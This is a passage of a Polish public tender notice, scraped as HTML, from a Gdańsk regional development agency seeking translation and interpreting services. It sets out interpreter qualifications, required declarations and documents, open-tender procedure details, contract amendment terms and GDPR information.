znaków ze spacjami na stronę) odpowiednio w języku, którego będzie tłumaczem.e.	w zakresie części V zamówienia - 2 tłumaczy ustnych języka angielskiego, 1 tłumacza ustnego języka chińskiego i 1 tłumacza ustnego japońskiego;f.	w zakresie części VI zamówienia - 2 tłumaczy ustnych języka angielskiego	przy czym każdy tłumacz ustny spełnia poniższe warunki: i.	posiada wykształcenie wyższe na kierunku filologii danego języka zdobyte w kraju lub za granicą, lub ii.	legitymuje się certyfikatem C2 lub innym równoważnym na poziomie biegłym w zakresie danego języka zgodnie z założeniami Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages), lub iii.	ukończyła studia podyplomowe w kraju lub za granicą w zakresie tłumaczenia danego języka, lub iv.	posiada status native speakera oraz: a)	ukończyła studia wyższe, minimum 3-letnie, na kierunku filologia polska w kraju lub za granicą, lub b)	ukończyła studia wyższe, minimum 3-letnie, na kierunku gdzie językiem wykładowym był język polski, lub c)	legitymuje się certyfikatem C2 lub innym równoważnym na poziomie biegłym w zakresie języka polskiego zgodnie z założeniami Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages), lub v.	przetłumaczyła w swoim dorobku zawodowym ustnie co najmniej 300 godzin odpowiednio w języku, którego będzie tłumaczem.Zamawiający dopuszcza, aby jedna osoba wykonywała tłumaczenia dla dwóch lub więcej języków. Zamawiający dopuszcza, aby jedna osoba wykonywała tłumaczenia w ramach dwóch lub więcej części.</span> <br/> Zamawiający wymaga od wykonawców wskazania w ofercie lub we wniosku o dopuszczenie do udziału w postępowaniu imion i nazwisk osób wykonujących czynności przy realizacji zamówienia wraz z informacją o kwalifikacjach zawodowych lub doświadczeniu tych osób: <span id="ctl00_ContentPlaceHolder1_czy_zdolnosc_techniczna_wymaga_wykonawcow">Tak</span> <br/> Informacje dodatkowe: <span id="ctl00_ContentPlaceHolder1_zdolnosc_techniczna_informacje_dodatkowe"></span> </div> <b> III.2) PODSTAWY WYKLUCZENIA </b> <br/> <div style="padding-left: 20px"> <b>III.2.1) Podstawy wykluczenia określone w art. 24 ust. 1 ustawy Pzp</b> <br/> <b>III.2.2) Zamawiający przewiduje wykluczenie wykonawcy na podstawie art. 24 ust. 5 ustawy Pzp</b> <span id="ctl00_ContentPlaceHolder1_czy_zamawiajacy_przewiduje_wykluczenie">Nie</span> Zamawiający przewiduje następujące fakultatywne podstawy wykluczenia: <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_1"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_2"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_3"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_4"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_5"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_6"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_7"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_8"></span> <br/> </div> <b> III.3) WYKAZ OŚWIADCZEŃ SKŁADANYCH PRZEZ WYKONAWCĘ W CELU WSTĘPNEGO POTWIERDZENIA, ŻE NIE PODLEGA ON WYKLUCZENIU ORAZ SPEŁNIA WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ SPEŁNIA KRYTERIA SELEKCJI </b> <br/> <div style="padding-left: 20px"> <b> Oświadczenie o niepodleganiu wykluczeniu oraz spełnianiu warunków udziału w postępowaniu </b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_oswiadczenie_niepodleganiu_wykluczenia">Tak</span> <br/> <b> Oświadczenie o spełnianiu kryteriów selekcji </b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_oswiadczenie_spelnienie_kryteriow">Nie</span> </div> <b> III.4) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW , SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 3 USTAWY PZP: </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_wykaz_dokumentow_zaswiadczen">Wykonawca, w terminie 3 dni od dnia zamieszczenia na stronie internetowej informacji, o której mowa w art. 86 ust. 5 ustawy Pzp, jest zobowiązany do przekazania Zamawiającemu oświadczenia o przynależności lub braku przynależności do tej samej grupy kapitałowej, o której mowa w art. 24 ust. 1 pkt 23 ustawy Pzp. Wraz ze złożeniem oświadczenia, Wykonawca może przedstawić dowody, że powiązania z innym wykonawcą nie prowadzą do zakłócenia konkurencji w postępowaniu o udzielenie zamówienia (wzór oświadczenia stanowi Załącznik nr 6 do SIWZ).	Zamawiający przed udzieleniem zamówienia, wezwie Wykonawcę, którego oferta została najwyżej oceniona, do złożenia w wyznaczonym, nie krótszym niż 5 dni, terminie aktualnych na dzień złożenia, następujących oświadczeń lub dokumentów: dokumentów dotyczących podmiotu trzeciego, w celu wykazania braku istnienia wobec nich podstaw wykluczenia oraz spełnienia, w zakresie, w jakim Wykonawca powołuje się na jego zasoby, warunków udziału w postępowaniu - jeżeli wykonawca polega na zasobach podmiotu trzeciego;</span> </div> <b> III.5) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 1 USTAWY PZP </b> <br/> <div style="padding-left: 20px"> <b>III.5.1) W ZAKRESIE SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zakresie_warunkow_udzialu">Zamawiający przed udzieleniem zamówienia, wezwie Wykonawcę, którego oferta została najwyżej oceniona, do złożenia w wyznaczonym, nie krótszym niż 5 dni, terminie aktualnych na dzień złożenia, następujących oświadczeń lub dokumentów:1)	wykaz usług wykonanych w okresie ostatnich 3 lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których usługi zostały wykonane (wg wzoru wskazanego w załączniku nr 8 do SIWZ) oraz załączeniem dowodów określających, czy te usługi zostały wykonane należycie, przy czym dowodami są:a)	referencje bądź inne dokumenty wystawione przez podmiot, na rzecz którego usługi były wykonywane,b)	oświadczenie wykonawcy, jeżeli z uzasadnionych przyczyn o obiektywnym charakterze wykonawca nie jest w stanie uzyskać dokumentów, o których mowa w ppkt a). Jeśli Wykonawca składa oświadczenie, zobowiązany jest podać przyczyny braku możliwości uzyskania poświadczenia. 2)	wykaz osób, skierowanych przez Wykonawcę do realizacji zamówienia publicznego, wraz z informacjami na temat ich doświadczenia i wykształcenia niezbędnego do wykonania zamówienia publicznego oraz informacją o podstawie do dysponowania tymi osobami (według wzoru stanowiącego załącznik nr 9 do SIWZ).</span> <br/> <b>III.5.2) W ZAKRESIE KRYTERIÓW SELEKCJI:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zakresie_kryteriow_selekcji"></span> </div> <b> III.6) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 2 USTAWY PZP </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_wykaz_potwierdzenie_okolicznosci"></span> </div> <b> III.7) INNE DOKUMENTY NIE WYMIENIONE W pkt III.3) - III.6) </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_inne_dokumenty_niewymienione">1.	W celu potwierdzenia spełnienia warunków udziału w postępowaniu określonych w rozdziale V oraz wykazania braku podstaw do wykluczenia, Wykonawcy muszą złożyć wraz z ofertą następujące oświadczenia i dokumenty:1)	aktualne na dzień składania ofert: a)	wypełnione oświadczenie o braku podstaw do wykluczenia - wg. wzoru na Załączniku nr 4 do SIWZ.b)	wypełnione oświadczenie o spełnianiu warunków udziału w postępowaniu - wg. wzoru na Załączniku nr 5 do SIWZ.2)	W przypadku wspólnego ubiegania się o zamówienie przez Wykonawców oświadczenia, o których mowa w pkt 1, składa każdy z Wykonawców wspólnie ubiegających się o zamówienie. Oświadczenie to ma potwierdzić spełnienie warunków udziału w postępowaniu w zakresie, w którym każdy z wykonawców wykazuje spełnienie warunków udziału w postępowaniu.3)	Wykonawca, który powołuje się na zasoby innych podmiotów, w celu wykazania braku istnienia wobec nich podstaw wykluczenia oraz spełnienia, w zakresie w jakim powołuje się na ich zasoby, warunków udziału w postępowaniu, zamieszcza informacje o tych podmiotach w oświadczeniach, o których mowa w pkt 1. 4)	zobowiązanie podmiotu trzeciego, jeżeli wykonawca polega na zasobach lub sytuacji podmiotu trzeciego (przykładowy wzór zobowiązania stanowi Załącznik nr 7 do SIWZ).2.	Wykonawca, w terminie 3 dni od dnia zamieszczenia na stronie internetowej informacji, o której mowa w art. 86 ust. 5 ustawy Pzp, jest zobowiązany do przekazania Zamawiającemu oświadczenia o przynależności lub braku przynależności do tej samej grupy kapitałowej, o której mowa w art. 24 ust. 1 pkt 23 ustawy Pzp. Wraz ze złożeniem oświadczenia, Wykonawca może przedstawić dowody, że powiązania z innym wykonawcą nie prowadzą do zakłócenia konkurencji w postępowaniu o udzielenie zamówienia (wzór oświadczenia stanowi Załącznik nr 6 do SIWZ).3.	Zamawiający przed udzieleniem zamówienia, wezwie Wykonawcę, którego oferta została najwyżej oceniona, do złożenia w wyznaczonym, nie krótszym niż 5 dni, terminie aktualnych na dzień złożenia, następujących oświadczeń lub dokumentów:1)	dokumentów dotyczących podmiotu trzeciego, w celu wykazania braku istnienia wobec nich podstaw wykluczenia oraz spełnienia, w zakresie, w jakim Wykonawca powołuje się na jego zasoby, warunków udziału w postępowaniu - jeżeli wykonawca polega na zasobach podmiotu trzeciego;2)	wykaz usług wykonanych w okresie ostatnich 3 lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których usługi zostały wykonane (wg wzoru wskazanego w załączniku nr 8 do SIWZ) oraz załączeniem dowodów określających, czy te usługi zostały wykonane należycie, przy czym dowodami są:a)	referencje bądź inne dokumenty wystawione przez podmiot, na rzecz którego usługi były wykonywane,b)	oświadczenie wykonawcy, jeżeli z uzasadnionych przyczyn o obiektywnym charakterze wykonawca nie jest w stanie uzyskać dokumentów, o których mowa w ppkt a). Jeśli Wykonawca składa oświadczenie, zobowiązany jest podać przyczyny braku możliwości uzyskania poświadczenia. 3)	wykaz osób, skierowanych przez Wykonawcę do realizacji zamówienia publicznego, wraz z informacjami na temat ich doświadczenia i wykształcenia niezbędnego do wykonania zamówienia publicznego oraz informacją o podstawie do dysponowania tymi osobami (według wzoru stanowiącego załącznik nr 9 do SIWZ).</span> </div> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA IV: PROCEDURA </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b>IV.1) OPIS </b> <br/> <b>IV.1.1) Tryb udzielenia zamówienia: </b> <span id="ctl00_ContentPlaceHolder1_tryb_udzielenia_zamowienia">Przetarg nieograniczony</span> <br/> <b>IV.1.2) Zamawiający żąda wniesienia wadium:</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wadium">Nie</span> <br/> Informacja na temat wadium <br/> <span id="ctl00_ContentPlaceHolder1_wadium"></span> </div> <br/> <b>IV.1.3) Przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zaliczek">Nie</span> <br/> Należy podać informacje na temat udzielania zaliczek: <br/> <span id="ctl00_ContentPlaceHolder1_przewiduje_udzielenie_zaliczek"></span> </div> <br/> <b> IV.1.4) Wymaga się złożenia ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych: </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wymaga_zlozenie_katalogow_elektronicznych">Nie</span> <br/> Dopuszcza się złożenie ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych: <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_katalogow_elektronicznych">Nie</span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_zlozenie_katalogow_elektronicznych_informacje_dodatkowe"></span> </div> <br/> <b> IV.1.5.) Wymaga się złożenia oferty wariantowej: </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wymaga_zlozenie_oferty_wariantowej">Nie</span> <br/> Dopuszcza się złożenie oferty wariantowej <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_oferty_wariantowej">Nie</span> <br/> Złożenie oferty wariantowej dopuszcza się tylko z jednoczesnym złożeniem oferty zasadniczej: <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_oferty_wariantowej_zasadniczej"></span> </div> <br/> <b> IV.1.6) Przewidywana liczba wykonawców, którzy zostaną zaproszeni do udziału w postępowaniu </b> <br/> <i> (przetarg ograniczony, negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne) </i> <div style="padding-left: 20px"> Liczba wykonawców &#160;<span id="ctl00_ContentPlaceHolder1_liczba_wykonawcow"></span> <br/> Przewidywana minimalna liczba wykonawców <span id="ctl00_ContentPlaceHolder1_minimalna_liczba_wykonawcow"></span> <br/> Maksymalna liczba wykonawców &#160;<span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_wykonawcow"></span> <br/> Kryteria selekcji wykonawców: <br/> <span id="ctl00_ContentPlaceHolder1_znaczenie_warunkow_wykonawcow"></span> </div> <br/> <b> IV.1.7) Informacje na temat umowy ramowej lub dynamicznego systemu zakupów: </b> <div style="padding-left: 20px"> Umowa ramowa będzie zawarta: <br/> <span id="ctl00_ContentPlaceHolder1_z_kim_umowa_bedzie_zawarta"></span> <br/> Czy przewiduje się ograniczenie liczby uczestników umowy ramowej: <br/> <span id="ctl00_ContentPlaceHolder1_czy_ograniczenie_liczby_uczestnikow"></span> <br/> Przewidziana maksymalna liczba uczestników umowy ramowej: <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenie_liczby_uczestnikow"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenie_liczby_uczestnikow_informacje_dodatkowe"></span> <br/> Zamówienie obejmuje ustanowienie dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_czy_obejmuje_ustanowienie">Nie</span> <br/> Adres strony internetowej, na której będą zamieszczone dodatkowe informacje dotyczące dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_obejmuje_ustanowienie"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_obejmuje_ustanowienie_informacje_dodatkowe"></span> <br/> W ramach umowy ramowej/dynamicznego systemu zakupów dopuszcza się złożenie ofert w formie katalogów elektronicznych: <br/> <span id="ctl00_ContentPlaceHolder1_czy_umowy_ramowej_dynamicznego_katalogow"></span> <br/> Przewiduje się pobranie ze złożonych katalogów elektronicznych informacji potrzebnych do sporządzenia ofert w ramach umowy ramowej/dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_czy_pobranie_umowy_ramowej_dynamicznego_katalogow"></span> </div> <br/> <b>IV.1.8) Aukcja elektroniczna </b> <br/> <b> Przewidziane jest przeprowadzenie aukcji elektronicznej </b><i>(przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem) </i> <span id="ctl00_ContentPlaceHolder1_aukcja_elektroniczna">Nie</span> <br/> Należy podać adres strony internetowej, na której aukcja będzie prowadzona: <br/> <span id="ctl00_ContentPlaceHolder1_adres_strony_na_ktorej_bedzie_prowadzona"></span> <br/> <b>Należy wskazać elementy, których wartości będą przedmiotem aukcji elektronicznej: </b> <span id="ctl00_ContentPlaceHolder1_elementy_aukcji_elektronicznej"></span> <br/> <b>Przewiduje się ograniczenia co do przedstawionych wartości, wynikające z opisu przedmiotu zamówienia:</b> <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenia_do_przedstawianych_wartosci"></span> <br/> Należy podać, które informacje zostaną udostępnione wykonawcom w trakcie aukcji elektronicznej oraz jaki będzie termin ich udostępnienia: <span id="ctl00_ContentPlaceHolder1_informaje_udostepnione_wykonawcom"></span> <br/> Informacje dotyczące przebiegu aukcji elektronicznej: <span id="ctl00_ContentPlaceHolder1_informaje_przebiegu_aukcji"></span> <br/> Jaki jest przewidziany sposób postępowania w toku aukcji elektronicznej i jakie będą warunki, na jakich wykonawcy będą mogli licytować (minimalne wysokości postąpień): <span id="ctl00_ContentPlaceHolder1_warunki_do_licytacji"></span> <br/> Informacje dotyczące wykorzystywanego sprzętu elektronicznego, rozwiązań i specyfikacji technicznych w zakresie połączeń: <span id="ctl00_ContentPlaceHolder1_wykorzystanie_sprzetu_elektronicznego"></span> <br/> Wymagania dotyczące rejestracji i identyfikacji wykonawców w aukcji elektronicznej: <span id="ctl00_ContentPlaceHolder1_wymagania_dotyczace_rejestracji_wyk_aukcja"></span> <br/> Informacje o liczbie etapów aukcji elektronicznej i czasie ich trwania: <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_aukcja_jednoetapowa"></span> <br/>Czas trwania: <span id="ctl00_ContentPlaceHolder1_IV_aukcja_jednoetapowa_czas"></span> <br /> <br/> Czy wykonawcy, którzy nie złożyli nowych postąpień, zostaną zakwalifikowani do następnego etapu: <span id="ctl00_ContentPlaceHolder1_IV_aukcja_wykonawcy_zakwalfikowani"></span> <br/> Warunki zamknięcia aukcji elektronicznej: <br/> <span id="ctl00_ContentPlaceHolder1_warunki_zamkniecia_aukcji"></span> </div> <br/> <b>IV.2) KRYTERIA OCENY OFERT </b> <br/> <b>IV.2.1) Kryteria oceny ofert: </b> <br/> <b>IV.2.2) Kryteria</b> <br/> <TABLE style='border: 1px solid black;border-collapse: collapse;'><TR><TD style='border: 1px solid black;border-collapse: collapse;'>Kryteria</TD><TD style='border: 1px solid black;border-collapse: collapse;'>Znaczenie</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>Cena brutto wykonania zamówienia</TD><TD style='border: 1px solid black;border-collapse: collapse;'>100,00</TD></TR></TABLE> <br/> <b>IV.2.3) Zastosowanie procedury, o której mowa w art. 24aa ust. 1 ustawy Pzp </b>(przetarg nieograniczony) <br/> <span id="ctl00_ContentPlaceHolder1_zastosowanie_procedury_pzp">Tak</span> <br/> <b>IV.3) Negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne </b> <br/> <b>IV.3.1) Informacje na temat negocjacji z ogłoszeniem</b> <br/> Minimalne wymagania, które muszą spełniać wszystkie oferty: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_minimalne_wymagania"></span> <br/> Przewidziane jest zastrzeżenie prawa do udzielenia zamówienia na podstawie ofert wstępnych bez przeprowadzenia negocjacji <span id="ctl00_ContentPlaceHolder1_IV_3_1_Przewidziane_jest_zastrzezenie"></span> <br/> Przewidziany jest podział negocjacji na etapy w celu ograniczenia liczby ofert: <span id="ctl00_ContentPlaceHolder1_IV_3_1_Przewidziany_podzial"></span> <br/> Należy podać informacje na temat etapów negocjacji (w tym liczbę etapów): <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_etapy_negocjacji"></span> <br/> Informacje dodatkowe <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_dodatkowe_informacje"></span> <br/> <br/> <b>IV.3.2) Informacje na temat dialogu konkurencyjnego</b> <br/> Opis potrzeb i wymagań zamawiającego lub informacja o sposobie uzyskania tego opisu: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_opis_potrzeb"></span> <br/> Informacja o wysokości nagród dla wykonawców, którzy podczas dialogu konkurencyjnego przedstawili rozwiązania stanowiące podstawę do składania ofert, jeżeli zamawiający przewiduje nagrody: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_informacja_wysokosc_nagrod"></span> <br/> Wstępny harmonogram postępowania: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_wstepny_harmonogram"></span> <br/> Podział dialogu na etapy w celu ograniczenia liczby rozwiązań: <span id="ctl00_ContentPlaceHolder1_IV_3_2_PodzialDialogu"></span> <br/> Należy podać informacje na temat etapów dialogu: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_EtapyDialogu"></span> <br/> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_DodatkoweInformacje"></span> <br/> <b>IV.3.3) Informacje na temat partnerstwa innowacyjnego</b> <br/> Elementy opisu przedmiotu zamówienia definiujące minimalne wymagania, którym muszą odpowiadać wszystkie oferty: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_ElementyOpisu"></span> <br/> Podział negocjacji na etapy w celu ograniczeniu liczby ofert podlegających negocjacjom poprzez zastosowanie kryteriów oceny ofert wskazanych w specyfikacji istotnych warunków zamówienia: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_PodzialNegocjacji"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_DodatkoweInfo"></span> <br/> <b>IV.4) Licytacja elektroniczna </b> <br/> Adres strony internetowej, na której będzie prowadzona licytacja elektroniczna: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_6"></span> </div> Adres strony internetowej, na której jest dostępny opis przedmiotu zamówienia w licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_7"></span> </div> Wymagania dotyczące rejestracji i identyfikacji wykonawców w licytacji elektronicznej, w tym wymagania techniczne urządzeń informatycznych: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_8"></span> </div> Sposób postępowania w toku licytacji elektronicznej, w tym określenie minimalnych wysokości postąpień: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_9"></span> </div> Informacje o liczbie etapów licytacji elektronicznej i czasie ich trwania: <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_10_licytacja_jednoetapowa"></span> <span id="ctl00_ContentPlaceHolder1_IV_4_10_licytacja_jednoetapowa_czas"> Czas trwania: </span> <br /> <br/> Wykonawcy, którzy nie złożyli nowych postąpień, zostaną zakwalifikowani do następnego etapu: <span id="ctl00_ContentPlaceHolder1_IV_4_10_wykonawcy_zakwalfikowani"></span> </div> Termin składania wniosków o dopuszczenie do udziału w licytacji elektronicznej: <br/> Data: <span id="ctl00_ContentPlaceHolder1_IV_4_11_data"></span> godzina: <span id="ctl00_ContentPlaceHolder1_IV_4_11_godzina"></span> <br/> Termin otwarcia licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_12"></span> </div> Termin i warunki zamknięcia licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_13"></span> </div> <br/> Istotne dla stron postanowienia, które zostaną wprowadzone do treści zawieranej umowy w sprawie zamówienia publicznego, albo ogólne warunki umowy, albo wzór umowy: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_IstotnePostanowienia"></span> </div> <br/> Wymagania dotyczące zabezpieczenia należytego wykonania umowy: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_14"></span> </div> <br/> Informacje dodatkowe: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_LicytacjeDodatkoweInformacje"></span> </div> <b>IV.5) ZMIANA UMOWY</b> <br/> <b>Przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy:</b> <span id="ctl00_ContentPlaceHolder1_zmiana_umowy">Tak</span> <br/> Należy wskazać zakres, charakter zmian oraz warunki wprowadzenia zmian: <br/> <span id="ctl00_ContentPlaceHolder1_zmiana_umowy_tekst">1.	Zamawiający dopuszcza możliwość dokonania zmian postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru Wykonawcy, zmiany mogą dotyczyć: 1)	terminu realizacji zamówienia jednostkowego, 2)	warunków i terminów płatności,3)	zmiany osób wskazanych przez Wykonawcę w ofercie jako osoby wyznaczone do realizacji zamówienia.2.	Zmiany, o których mowa w ust. 1, mogą nastąpić jedynie w następujących przypadkach:1)	w zakresie ust. 1 pkt 1 - 3 w przypadku wystąpienia ,,siły wyższej". Pod pojęciem siły wyższej Zamawiający rozumie okoliczności, które pomimo zachowania należytej staranności są nieprzewidywalne oraz, którym nie można zapobiec lub przeciwstawić się skutecznie. O braku możliwości dotrzymania terminu Wykonawca obowiązany jest niezwłocznie powiadomić Zamawiającego, określając jednocześnie nowy termin realizacji zamówienia; 2)	w zakresie ust. 1 pkt. 2 w przypadku zmian powszechnie obowiązujących przepisów prawa w trakcie realizacji umowy, w szczególności w sytuacji zmiany stawki VAT, przy czym wysokość wynagrodzenia netto pozostanie bez zmian;3)	w zakresie ust. 1 pkt 3 w przypadku, gdy z przyczyn niezależnych od Wykonawcy nie jest możliwe wykonywanie zamówienia z udziałem osoby wskazanej w ofercie,4)	w zakresie ust. 1 pkt 3 w przypadku, gdy w materiałach przetłumaczonych przez tego samego tłumacza pojawiać się będą podobne błędy, a Zamawiający zawnioskuje o zmianę tej osoby na inną,przy czym w zakresie ust. 1 pkt 3 warunkiem dopuszczalności zmiany osoby jest, że nowa osoba musi mieć doświadczenie oraz wykształcenie zgodne z SIWZ.3.	Wykonawca wnioskujący o zmianę umowy, przedkłada zamawiającemu pisemne uzasadnienie konieczności wprowadzenia zmian do umowy.4.	Zmiany Umowy wymagają formy pisemnej pod rygorem nieważności.</span> <br/> <b>IV.6) INFORMACJE ADMINISTRACYJNE </b> <br/> <br /> <b>IV.6.1) Sposób udostępniania informacji o charakterze poufnym </b><i>(jeżeli dotyczy): </i> <br /> <span id="ctl00_ContentPlaceHolder1_IV_6_1_sposob_udostepniania"></span> <br/> <b>Środki służące ochronie informacji o charakterze poufnym</b> <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_1_srodki_ochrony"></span> <br/> <b>IV.6.2) Termin składania ofert lub wniosków o dopuszczenie do udziału w postępowaniu: </b> <br/> Data: <span id="ctl00_ContentPlaceHolder1_IV_4_4_data">2018-08-04</span>, godzina: <span id="ctl00_ContentPlaceHolder1_IV_4_4_godzina">13:00</span>, <br/> Skrócenie terminu składania wniosków, ze względu na pilną potrzebę udzielenia zamówienia (przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem): <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_2_SkrocenieTerminu">Nie</span> <br/> Wskazać powody: <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_2_Powody"></span> <br/> Język lub języki, w jakich mogą być sporządzane oferty lub wnioski o dopuszczenie do udziału w postępowaniu <br/>> <span id="ctl00_ContentPlaceHolder1_IV_4_4_jezyki">polski</span> <br/> <b>IV.6.3) Termin związania ofertą: </b> do: <span id="ctl00_ContentPlaceHolder1_IV_4_5_data"></span> okres w dniach: <span id="ctl00_ContentPlaceHolder1_IV_4_5_okres">30</span> (od ostatecznego terminu składania ofert) <br/> <b>IV.6.4) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia:</b> <span id="ctl00_ContentPlaceHolder1_IV_4_17">Nie</span> <br/> <b>IV.6.5) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, jeżeli środki służące sfinansowaniu zamówień na badania naukowe lub prace rozwojowe, które zamawiający zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia, nie zostały mu przyznane</b> <span id="ctl00_ContentPlaceHolder1_IV_6_5">Nie</span> <br/> <b>IV.6.6) Informacje dodatkowe:</b> <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_6">6.	Zgodnie z art. 13 ust. 1 i 2 rozporządzenia Parlamentu Europejskiego i Rady (UE) 2016/679 z dnia 27 kwietnia 2016 r. w sprawie ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (ogólne rozporządzenie o ochronie danych) (Dz. Urz. UE L 119 z 04.05.2016, str. 1), dalej ,,RODO", informuję, że: 1)	administratorem danych osobowych jest Agencja Rozwoju Pomorza S.A., Al. Grunwaldzka 472 D, 80-309 Gdańsk, NIP 583-000-20-02, Regon 190044530, adres e-mail: sekretariat@arp.gda.pl, tel. +48 58 32 33 101, fax +48 58 32 33 2002)	inspektorem ochrony danych osobowych w Agencji Rozwoju Pomorza S.A. jest Lucjan Brudzyński, kontakt: rodo@arp.gda.pl;3)	dane osobowe przetwarzane będą na podstawie art. 6 ust. 1 lit. c RODO w celu związanym z postępowaniem o udzielenie niniejszego zamówienia publicznego prowadzonym w trybie przetargu nieograniczonego;4)	odbiorcami danych osobowych będą osoby 